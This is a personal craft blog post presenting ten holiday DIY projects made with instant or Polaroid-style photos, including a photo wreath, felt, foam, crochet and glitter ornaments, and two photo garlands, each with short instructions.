Here's a cute wreath made of instant photos (Fuji Instax). This project takes a total of 30 minutes. Here's how to do it…

Wreath-instant-photo-1Elsie's-photo-wreathInstructions: Use an embroidery hoop or another circle structure and some masking tape. Layer the photos from behind and tape each photo to the hoop. Leave a small (1/2 inch) space on one part of the hoop to attach your hanging piece to. My hanging piece is a 12 inch crocheted cord that is 4 rows wide. I attached it to the wreath by stitching both ends together with embroidery thread and i covered the ends with a large vintage button.

Wreath-2Wreath-3Wreath-instant-photo-1(this is a gift for my friend, Janae! Hope she likes it!)

2. Instant Photo Ornaments

Instax-ornamentsPhoto-ornaments-3Instructions: Originally, I was going to use these for my entire tree. I later decided to use a larger variety of polaroid themed handmade ornaments. For these simple ornaments, just punch holes in real instant photos and string with yarn for a hanging attachment. These are cute and classic!

3. Polaroid Cartoon Ornament

Craft-foam-polaroidInstructions: This ornament makes me smile because it looks just like a cartoon! I used white and black craft foam in the proportions of a polaroid photo, machine stitching to attach them and jumbo sized wiggle eyes for a fun effect! Note: If making a large group of these try a variety of pretty fuzzy yarns as hangers for variety.

4. Katie's Faux Polaroid Photo Ornaments

Polaroid-ornaments-katiePolaroid-1Polaroid-2 Polaroid-3I love Katie's pretty stitched ornaments. They are made of felt and real photos. She intentionally made them 'child safe' so her young daughter could enjoy the tradition as well! [see Katie's full tutorial for this ornament here] The ribbon hangers are adorable!

5. Crocheted Instant Photo

Crocheted-instant-photo I wish I could write a proper crochet pattern for this ornament. I'm actually pretty new to crochet, so I haven't learned pattern writing yet. I am hoping that this one is easy enough to figure out just by looking at the photo! I crocheted the block to be the proportions of a Fuji Instax photo and stitched on a piece of dark brown felt for the photo block. The attachment is a thick piece of Lion Brand yarn. I love this one because I wanted a huge variety of different polaroid ornaments on my tree and this one adds a lot of texture!

6. Stitched Paper Faux Polaroid Ornament

Instructions: For this ornament I used a piece of notebook paper and another layer of patterned card stock on the back (not pictured) to add durability. I stitched a real square cropped photo onto both layers of card stock with my sewing machine (the stitching can be omitted to save time if you'd like!). I used a hole punch to add the yarn. Another idea is to make a double sided faux polaroid with two different photos!

7. Baby Polaroid Garland

Baby_pola_garlandSupplies needed: white cardstock, paper trimmer, acrylic paint/craft paint, paint brush, black marker, sewing machine

SewHung_upHung_up_two This is another great polaroid project by Katie! It's totally adorable and would look great in lots of spots around the house!

1.  trim paper into 1 3/4 inch strips.
2.  cut the 1 3/4 inch strips into 2 1/8 inch rectangles
3.  paint a square on where the picture part would be on a polaroid4.  wait for the paint to dry fully, then using your black marker, outline the square.  if you want, you can add a cut drawing.
5.  sew them together.  wait a few seconds while keeping your sewing machine going, before sewing the next polaroid.  make sure to leave some string on either end so you can hang them easier.
6. enjoy.  🙂

8. Sparkle Polaroid Cartoon Ornament

Glitter-polaroid-1Glitter-polaroid-DIYGlitter-polaroid-2This is another version of #3 with added white glitter! I don't use much glitter in my crafting projects, but the Christmas tree is the puuurfect place for it because the lights will make it even more shimmery and pretty. White glitter is my favorite, but you could also use black on the inner section of the ornament. I used spray adhesive to apply my glitter. Make sure you use something to mask the glue from the black part of your ornament (see the photo above) and don't adhere the eyes until the rest is completely dry and finished. I used glue dots to adhere the wiggle eyes.

9. Foam Faux Photo Ornament

DIY-polaroidInstructions: Stitch a square photo onto a piece of white craft foam using a sewing machine. If you don't own a sewing machine try a stapler or hand stitching! Craft foam and felt are the perfect materials for these ornaments because they are thin (like real photos), they don't fray and they are durable so they can be handled by children. 🙂  PS…. this ornament makes me happy because this photo was from Jeremy and I's first ever coffee date. awwwe.

10. Crocheted Photo Garland

Photo-garland-1 Photo-garland-2 Photo-garland-3Instructions: This is a quick project that you can use for your tree, as wall decor or to decorate a mantel. Crochet or Knit a cord to the length you desire (can be much longer if you are planning to use it on your tree) This garland is three rows wide with dark red and grey yarn. I added loops at the end of mine so that is could be hung on a wall. I am planning to use mine as a decoration for my staircase! Add photos to the garland by punching small holes in the top of each with a mini hole punch and stitching them on with embroidery thread (be sure to hide your stitches on the back of the garland!). If you want something more elaborate, add little leaves or flowers made of felt! XO.

Special Thanks you*s to miss Katie for collaborating on this post with me!!

Hope you've enjoyed these fun little DIY Projects! Stay tuned for photos of my Christmas tree and other cute Holiday Ideas! Oh, and If you love DIY Projects and you haven't signed up yet, check out the Style School Class. It's filling up quick! I've never been so excited about a class!

Be back soon with funny family photos from Thanksgiving. LOVELOVE, Elsie

Leave a Reply to earth4energy Cancel reply